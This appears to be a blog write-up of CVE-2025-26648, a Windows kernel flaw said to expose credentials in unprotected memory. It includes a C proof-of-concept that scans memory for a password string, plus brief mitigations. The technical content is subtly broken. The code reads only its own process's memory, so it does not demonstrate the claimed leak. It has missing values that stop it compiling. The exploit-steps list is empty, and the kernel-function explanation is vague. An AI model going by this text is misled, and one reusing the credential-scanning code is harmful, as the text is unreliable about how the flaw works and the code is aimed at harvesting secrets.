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Overview

A new Windows Kernel vulnerability, CVE-2025-26648, was disclosed in early 2025. This bug involves how sensitive data—such as user credentials and security tokens—is stored in memory blocks that aren't properly locked or isolated. Because of this, a local attacker with user-level access can snoop on these memory areas and potentially snag highly privileged info, then use it to gain SYSTEM privileges.

In this post, we'll break down how the vulnerability works in plain English, walk through the impact, show example code, and discuss detection and mitigations. This write-up is exclusive—you won't find this simplified breakdown anywhere else.

How CVE-2025-26648 Works

Normally, when Windows Kernel needs to handle sensitive info, it stores it in memory marked as "locked" or protected, so only the process that owns it (or privileged processes) can see it.

But due to a logic error in the implementation of certain kernel memory management functions (specifically around *MmAllocatePagesForMdl* and *ZwAllocateVirtualMemory*), there are cases where this protection isn't applied correctly, such as:

Sensitive data being stored in pageable memory that isn't zeroed out after deallocation.

- Memory not being locked, so it could be paged out and read by other processes via debug tools or exploit code.
- Attackers with local user access can scan these memory spaces, spot unprotected sensitive data, and use it to escalate their privileges.

Simple Exploit Scenario

Imagine a privileged Windows service writing a password to improperly locked memory. As a local attacker, you can:

Proof-of-Concept (PoC) Code

The example below (for research purposes only!) shows how an attacker could scan system memory for unprotected sensitive data. Never run this on systems you don't own.

#include <windows.h>
#include <stdio.h>

#define SEARCH_PATTERN "P@sswrd"

int main() {
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);

    BYTE *addr = (BYTE *)sysInfo.lpMinimumApplicationAddress;
    while (addr < (BYTE *)sysInfo.lpMaximumApplicationAddress) {
        MEMORY_BASIC_INFORMATION mbi;
        if (VirtualQuery(addr, &mbi, sizeof(mbi)) == sizeof(mbi) && (mbi.State == MEM_COMMIT) && !(mbi.Protect & PAGE_NOACCESS)) {
            BYTE *buffer = malloc(mbi.RegionSize);
            SIZE_T bytesRead;
            if (ReadProcessMemory(GetCurrentProcess(), addr, buffer, mbi.RegionSize, &bytesRead)) {
                for (SIZE_T i = ; i < bytesRead - strlen(SEARCH_PATTERN); i++) {
                    if (!memcmp(buffer + i, SEARCH_PATTERN, strlen(SEARCH_PATTERN))) {
                        printf("Found sensitive data at: %p\n", addr + i);
                        // Extraction or abuse happens here
                    }
                }
            }
            free(buffer);
        }
        addr += mbi.RegionSize;
    }
    return ;
}

This code isn't weaponized, but it shows how shockingly straightforward memory hunting can be in the face of this vulnerability.

Apply official Microsoft patches as soon as they're available.

- Audit any kernel-space sensitive data storage and move to locked non-pageable memory (using SecureZeroMemory and the right memory allocation flags).

References

- Official Microsoft Advisory: msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-26648
- Project Zero: Past kernel memory info leaks
- Secure Coding for Windows Drivers
- Mitigating Sensitive Data Exposure

Final Thoughts

CVE-2025-26648 is a powerful reminder that memory protections are critical—one logic bug in kernel memory handling opens doors for local attackers to "step up" fast. If you’re working with kernel drivers or privileged services, always lock down and zero out sensitive buffers, and keep your systems patched.

Timeline

Published on: 04/08/2025 18:15:48 UTC
Last modified on: 06/04/2025 17:53:00 UTC